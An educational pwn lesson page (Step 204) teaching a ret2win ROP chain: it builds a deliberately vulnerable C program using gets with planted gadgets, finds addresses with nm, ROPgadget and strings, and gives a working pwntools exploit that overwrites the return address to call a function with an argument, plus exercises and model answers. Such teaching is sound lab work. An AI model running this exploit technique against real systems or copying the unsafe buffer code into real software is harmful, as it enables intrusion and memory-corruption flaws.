What would you like to learn?

Try PowerShell, networks, XSS, or Step 138

Browse the full curriculum →

C · Systems · Pwn

Step 204. ret2win: Calling the Function You Want — RET Overwrite That Even Hands Over the Argument

Step 204Estimated practice · 4 hours

Level 3 — Pwn Track | Difficulty ★★★★☆ | Estimated time: 4 hours

Prerequisites: you’ve finished Steps 186–188. You’ve succeeded at a RET overwrite by hand, and you can use pwntools’ p64/process/recvuntil.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

  • What you need: a WSL Ubuntu terminal, gcc, gdb, and the pwntools venv you made in Step 188. The measured environment is Ubuntu 24.04, gcc 13.3.0, gdb 15.1, pwntools 4.15.0.
  • Caution: today’s technique is itself "ret2win," the basic problem type of CTF pwn. The only target is an experimental binary you compile yourself.

In Step 186 we overwrote RET to run a function nobody calls. But real-world target functions usually demand arguments. Calling a function is not just jumping to an address — it’s also filling the agreed registers with arguments. Today we take that one step: stacking pieces on the stack to set registers and call a function — the dawn of ROP.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Explain that in the System V calling convention, the first argument is passed via rdi
  • Explain how a gadget — an instruction fragment like pop rdi; ret — works
  • Find the gadgets you need in a binary with ROPgadget
  • Find the address of a string inside a binary with strings -t x
  • Build a padding + gadget + argument + function chain to call a function that takes an argument

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment C + Python (pwntools), WSL Ubuntu bash, gcc 13.3.0, gdb 15.1 (x86-64)
Today’s commands/tools ROPgadget --binary ./target (extract gadgets), strings -t x target (string addresses), nm (function addresses), gdb’s x/s $rdi (check an argument)
Concepts needed Gadgets, the System V calling convention (rdi), the seed of a ROP chain, stack alignment

2-1. Arguments Travel in Registers — The System V Calling Convention

When calling a function on x86-64 Linux, arguments are passed not on the stack but in registers. This agreement is the System V calling convention. The first argument goes in rdi, the second in rsi, then rdx, rcx, r8, r9.

So calling win("open_sesame") is two jobs. ① Put the address of the string "open_sesame" into rdi. ② Jump to win‘s address. Step 186 did only ②; today ① gets added.

2-2. Gadgets — Instruction Fragments Ending in ret

The problem: all we control is the stack’s contents. We have no hands that write registers directly. So we borrow machine-code fragments already inside the program.

pop rdi    ← pops the stack-top value into rdi (the stack is ours)
ret        ← jumps to the stack-top address (also ours)

Find an address where these two lines sit consecutively and write it in the RET slot: when vuln rets into this fragment, pop rdi loads the next stack cell (a value we prepared) into rdi, and ret goes to the cell after it (an address we prepared). Fragments like this are called gadgets. The technique of chaining fragments by alternating addresses and values on the stack is ROP (Return-Oriented Programming) — today is its two-fragment seed.

2-3. Where Gadgets Come From — And How They Can Be Absent

Gadgets are not planted by the attacker. They’re byte sequences that happen to exist in the program’s code section. Older binaries had an initialization function called __libc_csu_init that served as a rich gadget warehouse, but on modern glibc (2.34+) that function is gone, so small binaries often have no pop rdi; ret at all (our writing-time measurements hit exactly that — 73 gadgets, none of them pop rdi).

In the field you search bigger code — the linked libc, for instance (Step 207 does this). Today’s practice binary includes a function that plants gadgets, as CTF problems commonly do, to serve as a stepping stone. It’s not a trick — it’s problem-design convention.

2-4. Stack Alignment — The Mystery of One ret Gadget

64-bit environments hide one more rule: the promise that rsp is 16-byte aligned right before a call. If a libc function is entered with this promise broken, it segfaults at an internal movaps instruction (an SSE memory copy that demands 16-byte alignment). Our handmade chains break this promise often, so the standard technique is to slip in a do-nothing ret gadget to fix the alignment. Today just know it exists; we actually reproduce this crash in Step 206.


3. Follow Along

3-1. Building the Target — A win That Checks Its Argument

Input (ret2win.c)

#include <stdio.h>
#include <string.h>

/* A gadget-planting function, as in practice problems — nobody calls it */
void gadgets(void) {
    __asm__ volatile(
        "pop %rdint"
        "retnt"
        "pop %rsint"
        "retn"
    );
}

void win(const char *cmd) {
    if (strcmp(cmd, "open_sesame") == 0) {
        printf("FLAG{ret2win_with_argument}n");
    } else {
        printf("win was called but the argument is wrong: %sn", cmd);
    }
    fflush(stdout);
}

void vuln(void) {
    char buf[32];
    printf("Input: ");
    fflush(stdout);
    gets(buf);
    printf("Received: %sn", buf);
    fflush(stdout);
}

int main(void) {
    vuln();
    printf("Normal exitn");
    return 0;
}

How to read it: win gives the flag only if the argument cmd equals "open_sesame". Merely arriving at win isn’t enough — we must set rdi to the address of the string we want. The gadgets function is the planted gadget warehouse from 2-3.

Compile

mkdir -p ~/lab204_208 && cd ~/lab204_208
gcc -g -O0 -fno-stack-protector -z execstack -no-pie ret2win.c -o ret2win
ret2win.c: In function ‘vuln’:
ret2win.c:27:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
/usr/bin/ld: /root/lab204_208/ret2win.c:27:(.text+0xb3): warning: the `gets' function is dangerous and should not be used.

(Measured 2026-09-09. Both warnings are expected — we’re deliberately building a dangerous program. Modern gcc removed even gets’ declaration from the headers, adding the first warning.)

3-2. Gathering Materials — Three Addresses

The attack needs three materials: the function address (nm), the gadget address (ROPgadget), the string address (strings).

nm ret2win | grep -E " win$| vuln$| gadgets$"
00000000004011b6 T gadgets
000000000040122d T vuln
00000000004011c5 T win
/root/lab188/venv/bin/ROPgadget --binary ./ret2win | grep -E "pop rdi ; ret$| : ret$"
0x00000000004011be : pop rdi ; ret
0x000000000040101a : ret
strings -t x ret2win | grep open_sesame
   2008 open_sesame

(Measured 2026-09-09. ROPgadget was installed in Step 188’s venv. If missing, install it with ./venv/bin/pip install ROPGadget.)

How to read the output: all three materials are in. win = 0x4011c5, pop rdi ; ret = 0x4011be, "open_sesame" = 0x402008 (the 0x2008 from strings is the position inside the file; this binary loads .rodata at 0x402000, so add them). With -no-pie, these addresses don’t change between runs.

3-3. Measuring the Padding — Confirming with disas

gdb -q -batch -ex "disas vuln" ./ret2win
   0x000000000040122d <+0>:	endbr64
   0x0000000000401231 <+4>:	push   %rbp
   0x0000000000401232 <+5>:	mov    %rsp,%rbp
   0x0000000000401235 <+8>:	sub    $0x20,%rsp
   ...
   0x000000000040125c <+47>:	lea    -0x20(%rbp),%rax

(Measured 2026-09-09.)

How to read the output: buf is rbp – 0x20. The RET slot is rbp + 8, so the padding is 0x20 + 8 = 40 bytes.

Chain design complete: [A × 40][pop rdi; ret]["open_sesame" address][win address]. When vuln rets → pop rdi loads 0x402008 into rdi → the next ret goes to win. We enter win with rdi = "open_sesame".

3-4. Failure First — What If You Call win with No Argument

Let’s first see what happens the Step 186 way — overwriting with win’s address alone, no gadget.

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"xc5x11x40x00x00x00x00x00" + b"n")' | ./ret2win
Input: Received: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
win was called but the argument is wrong:
Segmentation fault (core dumped)

(Measured 2026-09-09.)

How to read the output: we did reach win. But rdi held a garbage value we never set, so strcmp judged "wrong." Arrival and success are different. This one line is why we need a gadget that sets the argument.

3-5. ★ The Attack — Handing Over the Argument with a Gadget

Input (exploit204.py)

#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'

e = ELF('/root/lab204_208/ret2win')
win = e.symbols['win']
pop_rdi = 0x4011be          # pop rdi ; ret found with ROPgadget
open_sesame = 0x402008      # string address found with strings -t x

p = process('/root/lab204_208/ret2win')
p.recvuntil('Input: '.encode())
payload = b'A' * 40 + p64(pop_rdi) + p64(open_sesame) + p64(win)
p.sendline(payload)
print(p.recvall(timeout=2).decode(errors='replace'))

Run

/root/lab188/venv/bin/python3 exploit204.py
[DEBUG] Sent 0x41 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  be 11 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000030  08 20 40 00  00 00 00 00  c5 11 40 00  00 00 00 00  │· @·│····│··@·│····│
    00000040  0a                                                  │·│
[*] Process '/root/lab204_208/ret2win' stopped with exit code -11 (SIGSEGV) (pid 755)
Received: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
FLAG{ret2win_with_argument}

(Measured 2026-09-09. The garbled display of mixed bytes may differ by environment.)

Success. Let’s read the Sent dump. After the forty A’s, three 8-byte values follow in order.

  • be 11 40 00... = 0x4011be — the pop rdi ; ret gadget. We overwrote vuln’s RET with it.
  • 08 20 40 00... = 0x402008 — the value the gadget’s pop rdi will pull out. The address of "open_sesame".
  • c5 11 40 00... = 0x4011c5 — where the gadget’s ret jumps. win.

The final SIGSEGV is the "scheduled death" from Step 186. We simply didn’t prepare anywhere for win to return to — the flag is already out.

3-6. Witnessing It in gdb — Is the Argument Really in rdi

If it’s hard to believe, set a breakpoint at win’s entrance and look at rdi directly.

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"xbex11x40x00x00x00x00x00" + b"x08x20x40x00x00x00x00x00" + b"xc5x11x40x00x00x00x00x00" + b"n")' > payload204.txt
gdb -q ./ret2win
(gdb) b win
Breakpoint 1 at 0x4011d5: file ret2win.c, line 15.
(gdb) r < payload204.txt
Breakpoint 1, win (cmd=0x402008 "open_sesame") at ret2win.c:15
15	    if (strcmp(cmd, "open_sesame") == 0) {
(gdb) bt
#0  win (cmd=0x402008 "open_sesame") at ret2win.c:15
#1  0x00007fffffffe600 in ?? ()
(gdb) info registers rdi
rdi            0x402008            4202504

(Measured 2026-09-09.)

How to read the output: gdb is kind enough to show the interpretation win (cmd=0x402008 "open_sesame"). With no legitimate call path (#1 is ??), the first-argument register rdi holds exactly the address we prepared. We only stacked values on the stack, yet a register got set. That is a gadget’s job.


4. Missions & Exercises

Mission — Call a Two-Argument Function

Modify ret2win.c and attack a target of your own design.

  1. Add a void win2(const char *a, const char *b) function — it prints the flag only when both arguments equal two strings of your choice (e.g., "stage1", "stage2"), and nothing calls it
  2. Compile, and collect four materials with nm, ROPgadget, and strings (win2, pop rdi, pop rsi, and the two strings’ addresses)
  3. Design and run a 5-layer chain extended to a pop rsi; ret gadget (padding + pop rdi + string1 + pop rsi + string2 + win2) and capture the flag
  4. Leave a record confirming rdi and rsi at win2’s entrance in gdb
  5. Answer in your report: "If a third argument were needed, which additional gadget would you have to find?"

Exercises

Exercise 1. When a pop rdi; ret gadget executes, what must be in the top two stack cells?

Exercise 2. In 3-4 we reached win but got "the argument is wrong." What was in rdi, and why?

Exercise 3. Why did we convert the 0x2008 from strings -t x to 0x402008 instead of using it as is?

Exercise 4. Why do modern small binaries often lack a pop rdi; ret gadget, and where do you look in the field?


Answers & completion criteria · expand/collapse

5. Model Answers & Completion Criteria

Mission Model Answer

An example report (2026-09-09, Ubuntu 24.04, gcc 13.3.0 — addresses vary by environment):

[design] added win2(a, b) — checks both arguments with two strcmp calls
[materials] nm → win2 = 0x4011xx
      ROPgadget → pop rdi ; ret = 0x4011be, pop rsi ; ret = 0x4011c0
      strings -t x → "stage1" = 0x402xxx, "stage2" = 0x402xxx
[chain] A×40 + p64(pop_rdi) + p64(string1) + p64(pop_rsi) + p64(string2) + p64(win2)
[gdb verification] b win2 → win2 (a=0x402xxx "stage1", b=0x402xxx "stage2")
[answer] the third argument is rdx — additionally find a "pop rdx ; ret" gadget

How to verify: ① does the Sent dump show the five layers — gadget, value, gadget, value, function — in order? ② does the gdb output show both arguments as the intended strings? ③ are the material addresses read from your own binary, not copied from the book?

Exercise Answers

Answer 1. The top cell must hold the value to put in rdi (today, the string address 0x402008), and the next cell the address to jump to afterward (today, win). pop rdi pulls the first cell and the stack pointer moves down one, so ret pulls the second cell and jumps. Reverse the order and everything misaligns — win’s address would land in rdi.

Answer 2. Since we never set rdi, it held whatever garbage happened to remain when vuln ended (in the measurement, effectively a pointer to an empty string). strcmp("garbage", "open_sesame") naturally judges them different. A function call must be both a jump and an argument setup.

Answer 3. strings -t x gives only the offset inside the file, not the virtual address once loaded into memory. This binary loads at 0x400000 with -no-pie and maps .rodata at 0x402000, so the string’s memory address is 0x402000 + 0x8 = 0x402008. With a PIE binary this calculation itself changes every run (Step 187).

Answer 4. Because __libc_csu_init, the old binaries’ gadget warehouse, was removed from modern glibc, and small programs have short code sections with few accidental fragments (in our writing-time measurement, 0 pop rdi among 73 gadgets). In the field you search much larger linked libraries like libc — in the measurement, libc held over 100,000 gadgets. That’s the subject of Steps 205 and 207.

Completion Criteria Checklist

  • [ ] I can explain that the first argument goes in rdi under the System V convention
  • [ ] I can explain how the two lines of a pop rdi; ret gadget interact with the stack
  • [ ] I found gadgets with ROPgadget and a string address with strings
  • [ ] I called an argument-taking win with a padding + gadget + argument + function chain
  • [ ] I can explain the failure message and cause of "calling without the argument"
  • [ ] I confirmed in gdb that rdi at win’s entrance was the intended address
  • [ ] Mission: I completed the two-argument chain (5 layers) and left verification records

6. Common Pitfalls & Fixes

Wall 1. ROPgadget: command not found

Symptom: ROPgadget: command not found
Cause: it’s installed only in Step 188’s venv, not on PATH.
Fix: call it by full path — /root/lab188/venv/bin/ROPgadget --binary ./ret2win. If missing, install with ./venv/bin/pip install ROPGadget.

Wall 2. No pop rdi gadget in the results

Symptom: dozens of ROPgadget lines but no pop rdi ; ret (we actually hit this while writing — 0 out of 73 gadgets in the binary before planting the gadgets function).
Cause: small binaries on modern glibc have few gadgets.
Fix: for practice, plant a gadgets function as in this chapter. For real binaries, search a bigger module, e.g., ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6.

Wall 3. It reaches win but prints "the argument is wrong"

Symptom: output of win was called but the argument is wrong: followed by a segfault.
Cause: you skipped the gadget and overwrote with win’s address only, or the order of gadget and value in the chain is flipped. It must be [pop rdi][value][win].
Fix: check the 8-byte unit order in the Sent dump (debug mode), and look at the actual rdi with b win then info registers rdi in gdb.

Wall 4. I used the book’s addresses verbatim and it failed

Symptom: you used 0x4011c5 and 0x4011be as printed and got a segfault.
Cause: a single character of source difference shifts every address. The presence of the gadgets function and string lengths move addresses in particular.
Fix: the iron rule of Step 186 — addresses are not memorized; they’re read from your own binary every time with nm/ROPgadget/strings.

Wall 5. implicit declaration of function ‘gets’ warning at compile time

Symptom:

ret2win.c:27:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’?

Cause: modern glibc removed gets’ declaration from the headers. It’s only a warning; compilation succeeds.
Fix: you may ignore it for practice purposes. But remember that this warning’s very existence is a trace of defense — "gets is a function the era has driven out."


7. Summary

Today’s Concepts

Concept One-line explanation
ret2win The canonical form of attack: calling a hidden function in the binary via RET overwrite
System V calling convention The agreement that arguments travel in registers in the order rdi, rsi, rdx…
Gadget An instruction fragment, already present in the program, ending in ret
ROP The technique of chaining code by alternating gadget addresses and values on the stack
Stack alignment The promise of 16-byte rsp alignment at call time — break it and movaps dies

Today’s Commands

Command What it does
ROPgadget --binary ./target Extract every gadget from a binary
ROPgadget ... | grep "pop rdi ; ret$" Filter for just the gadget you need
strings -t x target File offsets of strings inside a binary
nm target | grep name A function symbol’s address
x/s $rdi (gdb) Check the string an argument points to

An Instinct More Important Than Commands

Today’s three-layer chain — [gadget][value][function] — is the minimal unit of the vast technique called ROP. The stack was originally "a record of addresses to return to," and we forged that record into a command list. Each ret became a domino tooth pulling the next task off the stack.

One more thing. Today’s attack didn’t succeed because we turned off NX (stack execution ban) — we never planted new code; we only chained existing code. This is why ROP became the answer in the NX era. Even as the defenses from Step 187 switch on one by one, this technique slips precisely through their gaps.


Once every box is checked, Step 204 is complete.

ONE STEP FURTHER

Finished this lesson?

Check the completion criteria, then mark your progress.

Something wrong with this page or a link? Let us know.
Next